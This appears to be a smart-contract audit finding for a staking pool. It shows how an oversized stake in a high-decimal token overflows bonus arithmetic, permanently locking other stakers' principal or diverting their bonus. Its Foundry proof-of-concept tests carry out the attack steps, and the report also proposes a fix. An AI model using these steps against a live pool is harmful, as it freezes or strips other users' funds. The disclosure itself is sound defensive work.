**Affected functions:** `stake`, `_markRiskWindowStart`, `_clampUserSums`, `_bonusShare`, `claimSurvived`, `claimCorrupted`, `claimExpired`, `flagOutcome`, `sweepUnclaimedBonus`
**Affected actors:** Every eligible staker in an affected pool; the pool's entire bonus balance
### Description
`stake()` bounds only an individual deposit's own second moment (`received * t_stake²`) at deposit time. No aggregate bound is ever enforced on `Σ(a·t²)`. The pool's k=2 bonus score `amount * (T - effectiveEntryTime)^2` is reconstructed in O(1) at two later sites, each of which adds large positive absolute-time terms before the cancellation subtraction. Either addition can overflow independently of the original deposit's own bound.
```solidity
uint256 contribTimeSq = received * newEntry * newEntry;
totalEligibleStake += received;
sumStakeTimeSq += contribTimeSq;
sumStakeTimeSq = totalEligibleStake * t * t;
uint256 plus =
T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
```
Let `M = type(uint256).max` and `S` be aggregate eligible stake. A stake is admitted whenever `S·t² <= M` at the timestamp it is staked. Two independent failure modes follow from that unchecked aggregate.
- **Path A: claim-time overflow.** At settlement, `_bonusShare()` computes `T²·S + Σ(amount·entry²)`, roughly `2·S·t²` when `T ≈ t`. When `M/(2·t²) < S <= M/t²`, this shared global term overflows for every claimant, including a victim whose own position is individually safe. The overflow happens in the positive intermediate before the cancellation subtraction can run. `Math.mulDiv()` does not help; it only runs after the addition has panicked. Every `SURVIVED`, `CORRUPTED`, or `EXPIRED` claim reverts and stays reverted. No alternate exit exists: `withdraw()` is closed post-risk, and `sweepUnclaimedBonus()` reserves rather than releases outstanding principal.
- **Path B: observation-time overflow.** `_markRiskWindowStart()` recomputes `totalEligibleStake · t²` from scratch at whatever timestamp `t` active risk is first observed. That timestamp can be later than any individual deposit's own timestamp. A stake sized close to the admission boundary at `t0` makes this later single-term multiplication overflow at `t1 > t0`. `_observePoolState()` has no error handling around the call, so the revert propagates out of every gated entrypoint (`pokeRiskWindow`, `stake`, `contributeBonus`, `withdraw`, `setPoolScope`, `flagOutcome`, `claimExpired`). The window never seals. `riskWindowStart` stays permanently `0`. Two terminal subcases follow, depending on whether the registry later escapes to a terminal state before pool `expiry`.
- **B1: registry escapes to terminal state before expiry.** `_observePoolState()` succeeds thereafter (no longer hits the active-risk overflow), and `flagOutcome` accepts the terminal-state outcome. `_bonusShare` short-circuits to zero because `riskWindowStart == 0`, so stakers claim principal only. `sweepUnclaimedBonus()` sends the entire bonus pot to `recoveryAddress`, value that should have gone to the stakers who bore the real risk. A pool that actually experienced `UNDER_ATTACK` is recorded identically to one that observed no risk.
- **B2: registry stays stuck in an active-risk state through expiry.** `flagOutcome` reverts because its state check requires a terminal registry state that is unreachable. `claimExpired` reverts because its internal `_observePoolState → _markRiskWindowStart` re-hits the same overflow. `withdraw` was closed on the first active-risk observation. Every principal-bearing exit is closed simultaneously. Principal locks with the same permanence as Path A.
`_bonusShare()` returns early only when `snapshotTotalBonus == 0`. `contributeBonus()` is permissionless with no minimum, so one raw unit of bonus is enough to route every claim through the vulnerable path.
### Invariant violated
An accepted stake must remain arithmetically representable through every required claim. An observed active-risk period must not be recorded identically to a period where no risk occurred. One user's accepted position must not make another user's principal unclaimable (Path A, Path B2) or another user's earned bonus disappear to `recoveryAddress` (Path B1).
### Attack path
1. Factory owner allowlists a standard ERC-20 with unusually high raw precision. The PoC uses a 60-decimal OpenZeppelin ERC-20 with no fee, rebase, or callback behavior.
2. A staker deposits an amount whose own second moment fits `uint256` at deposit time, sized close to `M / t²`.
3. **Path A:** the risk window is already sealed before the stake. The deposit itself passes. At settlement (`SURVIVED`, `CORRUPTED`, or `EXPIRED`) the shared `plus` term overflows for every claimant, including an independent victim with an individually safe position. Every claim reverts with panic `0x11` and stays reverted.
4. **Path B:** the stake happens before the risk window opens. Time advances within the pool's term before anyone triggers observation. `_markRiskWindowStart()`'s later, larger-`t` recomputation overflows, so `pokeRiskWindow()` and every other gated entrypoint reverts. `riskWindowStart` never seals. Terminal impact depends on whether the registry later escapes (B1: bonus diverted, principal recoverable) or stays stuck through expiry (B2: every principal-bearing exit closed, principal locked).
Both paths need only ordinary public calls (`stake`, `contributeBonus`, `pokeRiskWindow`) after one documented factory-allowlist action. No malicious registry state, moderator compromise, or nonstandard token behavior is required.
### Why this is not an accepted DESIGN.md behavior
DESIGN.md accepts several behaviors: deposits during `UNDER_ATTACK` self-locking into the resolution path, the expanded moment formula as an O(1) equivalent of the per-deposit score, an amount-weighted fallback when `globalScore == 0`, and a "no observed risk" rule (§5) that sweeps bonus when the registry skipped active-risk states.
It does not accept a state where the principal-returning claim path is arithmetically unreachable. Path A and Path B2 rewrite the intended amount-weighted fallback into an unreachable panic. It also does not accept §5's rule firing for a pool that did observe active risk but whose observation mechanism itself failed. Path B1 produces `riskWindowStart == 0`, the same on-chain signature as "no risk was ever seen," but the cause (the seal attempt reverting) is not something DESIGN.md contemplates.
The token is ERC-20 conforming; `decimals() == 60` changes only display metadata. The factory allowlist gate is a documented action with no numeric safety check behind it.
The two overflow trigger sites are covered by separate executable tests, both run against unmodified `src/ConfidencePool.sol`:
| Path | Test file | Test | Coverage |
| --- | --- | --- | --- |
| **A — claim-time overflow** | `test/audit/CP003_IndependentReachability.t.sol` | `test_CP003_reachable_withRiskWindowSealed` | Picks `received` in the band where `_markRiskWindowStart` succeeds (`riskWindowStart != 0`), then shows `claimSurvived()` reverts with `Panic(0x11)`. |
| **B — observation-time overflow** | `test/audit/ConfidencePoolArithmeticBoundary.audit.t.sol` | `test_A_acceptedStakeErasesRiskObservationAndBonus` | B1 subcase: seal reverts, registry later escapes, bonus swept to `recoveryAddress` under the `riskWindowStart == 0` branch. |
| **B (principal-freeze subcase)** | `test/audit/ConfidencePoolArithmeticBoundary.audit.t.sol` | `test_A_principalFreeze_expireWhileAttackable` | B2 subcase: seal reverts, registry stays stuck through expiry, `flagOutcome`/`claimExpired` both revert, principal locked. |
| **B — boundary** | `test/audit/ConfidencePoolArithmeticBoundary.audit.t.sol` | `test_A_boundary_sameBlockPokeWorks_laterReverts`, `test_A_boundary_oneSecondLaterReverts` | Confirms the trigger sits exactly at `t_risk > t_stake`. |
| **Negative controls** | `test/audit/ConfidencePoolArithmeticBoundary.audit.t.sol` | `test_A_negativeControl_withoutGiantStake_bonusIsPaid`, `test_A_principalFreeze_negativeControl` | Aggregate stake below the boundary seals successfully and bonus pays. |
### Commands
``bash
# Path A (claim-time overflow):
forge test --match-path test/audit/CP003_IndependentReachability.t.sol -vvvv
# Path B (observation-time overflow, both B1 and B2 subcases plus boundaries + negative controls):
forge test --match-path test/audit/ConfidencePoolArithmeticBoundary.audit.t.sol -vvvv
``
``CP003_IndependentReachability.t.sol``
``solidity
pragma solidity 0.8.26;
import {Test, stdError} from "forge-std/Test.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
contract CP003IndependentReachability is BaseConfidencePoolTest {
function test_CP003_reachable_withRiskWindowSealed() external {
uint256 tRisk = BASE_TIMESTAMP + 1;
uint256 received = (type(uint256).max / (tRisk * tRisk)) * 3 / 4;
_stakeRaw(attacker, received);
_contributeBonus(carol, 50 * ONE);
vm.warp(tRisk);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
assertGt(pool.riskWindowStart(), 0, "window SEALED (CP-004 did NOT fire)");
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
assertGt(pool.riskWindowStart(), 0, "window still sealed at resolution");
vm.prank(attacker);
vm.expectRevert(stdError.arithmeticError);
pool.claimSurvived();
}
}
``
``ConfidencePoolArithmeticBoundary.audit.t.sol``
``solidity
pragma solidity 0.8.26;
import {Test, stdError} from "forge-std/Test.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
contract ConfidencePoolArithmeticBoundaryAudit is BaseConfidencePoolTest {
function _giantAcceptedStake(uint256 otherTerm) internal pure returns (uint256) {
return (type(uint256).max - otherTerm) / (BASE_TIMESTAMP * BASE_TIMESTAMP);
}
function test_A_acceptedStakeErasesRiskObservationAndBonus() external {
uint256 aliceTerm = (100 * ONE) * BASE_TIMESTAMP * BASE_TIMESTAMP;
_stake(alice, 100 * ONE);
_contributeBonus(carol, 50 * ONE);
uint256 giant = _giantAcceptedStake(aliceTerm);
_stakeRaw(attacker, giant);
assertEq(pool.eligibleStake(attacker), giant, "attacker stake accepted");
vm.warp(BASE_TIMESTAMP + 1 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.expectRevert(stdError.arithmeticError);
pool.pokeRiskWindow();
assertEq(pool.riskWindowStart(), 0, "risk window could not seal");
vm.prank(alice);
vm.expectRevert(stdError.arithmeticError);
pool.withdraw();
token.mint(dave, 1 * ONE);
vm.startPrank(dave);
token.approve(address(pool), 1 * ONE);
vm.expectRevert(stdError.arithmeticError);
pool.stake(1 * ONE);
vm.stopPrank();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
assertEq(pool.riskWindowStart(), 0, "risk window permanently unsealed post-terminal");
uint256 aliceBefore = token.balanceOf(alice);
vm.prank(alice);
pool.claimSurvived();
assertEq(token.balanceOf(alice) - aliceBefore, 100 * ONE, "alice: principal only, no bonus");
vm.prank(attacker);
pool.claimSurvived();
assertEq(token.balanceOf(attacker), giant, "attacker recovers principal, self-cost 0");
uint256 recoveryBefore = token.balanceOf(recovery);
pool.sweepUnclaimedBonus();
assertEq(token.balanceOf(recovery) - recoveryBefore, 50 * ONE, "full bonus swept to recovery");
}
function test_A_negativeControl_withoutGiantStake_bonusIsPaid() external {
_stake(alice, 100 * ONE);
_contributeBonus(carol, 50 * ONE);
vm.warp(BASE_TIMESTAMP + 1 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
assertGt(pool.riskWindowStart(), 0, "control: window seals normally");
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
uint256 aliceBefore = token.balanceOf(alice);
vm.prank(alice);
pool.claimSurvived();
assertEq(token.balanceOf(alice) - aliceBefore, 150 * ONE, "control: principal + full bonus");
}
function test_A_boundary_sameBlockPokeWorks_laterReverts() external {
uint256 giant = _giantAcceptedStake(0);
_stakeRaw(attacker, giant);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
assertGt(pool.riskWindowStart(), 0, "same-block seal succeeds at t == t_stake");
}
function test_A_boundary_oneSecondLaterReverts() external {
uint256 giant = _giantAcceptedStake(0);
_stakeRaw(attacker, giant);
vm.warp(BASE_TIMESTAMP + 1);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.expectRevert(stdError.arithmeticError);
pool.pokeRiskWindow();
}
function test_A_principalFreeze_expireWhileAttackable() external {
uint256 aliceTerm = (100 * ONE) * BASE_TIMESTAMP * BASE_TIMESTAMP;
_stake(alice, 100 * ONE);
uint256 giant = _giantAcceptedStake(aliceTerm);
_stakeRaw(attacker, giant);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.warp(uint256(pool.expiry()) + 1);
vm.prank(alice);
vm.expectRevert(stdError.arithmeticError);
pool.claimExpired();
vm.prank(moderator);
vm.expectRevert(stdError.arithmeticError);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
vm.prank(alice);
vm.expectRevert(stdError.arithmeticError);
pool.withdraw();
assertEq(pool.eligibleStake(alice), 100 * ONE, "principal frozen, no resolution path");
assertEq(token.balanceOf(alice), 0, "alice cannot recover principal");
}
function test_A_principalFreeze_negativeControl() external {
_stake(alice, 100 * ONE);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.warp(uint256(pool.expiry()) + 1);
vm.prank(alice);
pool.claimExpired();
assertEq(token.balanceOf(alice), 100 * ONE, "control: EXPIRED returns principal");
}
}``
Enforce a raw aggregate-stake capacity before persisting a newly received stake. Every deposit and
terminal timestamp is bounded by `expiry`, so the following conservative limit keeps all current
positive/negative moment intermediates representable in both `_bonusShare()` and
`_markRiskWindowStart()`:
``text
totalEligibleStake <= type(uint256).max / (2 * uint256(expiry)^2)
``
```diff
contract ConfidencePool is ... {
+ error ScoreCapacityExceeded();
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
// Existing transfer and received-amount calculation.
if (received == 0) revert NoTokensReceived();
if (received < minStake) revert BelowMinStake();
+ uint256 maxAggregateStake = type(uint256).max / (2 * uint256(expiry) * uint256(expiry));
+ if (totalEligibleStake > maxAggregateStake || received > maxAggregateStake - totalEligibleStake) {
+ revert ScoreCapacityExceeded();
+ }
+
_clampUserSums(msg.sender);
// Existing moment and stake updates.
}
}
```
A per-deposit bound is insufficient — several individually safe deposits can overflow the shared
global expression (Path A), and a single deposit safe at its own timestamp can still overflow a
later observation made at a larger timestamp (Path B). The check must be aggregate and must run
before any moment is persisted. Limiting decimals alone does not help (a low-decimal token can
still have a large raw supply), and patching only the final `Math.mulDiv()` does not help (both
panics occur in the checked additions that precede it). A more thorough redesign would store
moments relative to a small epoch (e.g. `riskWindowStart`) instead of absolute Unix time, with an
explicit aggregate bound retained regardless.
### Regression properties
~ Aggregate stake exactly at the documented capacity completes both `SURVIVED` and `EXPIRED` claims
without overflow when bonus is nonzero; one raw unit above it reverts atomically at `stake()`
before any principal or moment is persisted.
~ Multiple individually-safe deposits cannot cross the aggregate bound in combination.
~ `pokeRiskWindow()` successfully seals the risk window at any timestamp up to `expiry` for a stake
accepted at the documented maximum aggregate, and the resulting bonus routes to stakers, not to
`recoveryAddress`.
~ Minimum and maximum supported `expiry` values remain covered.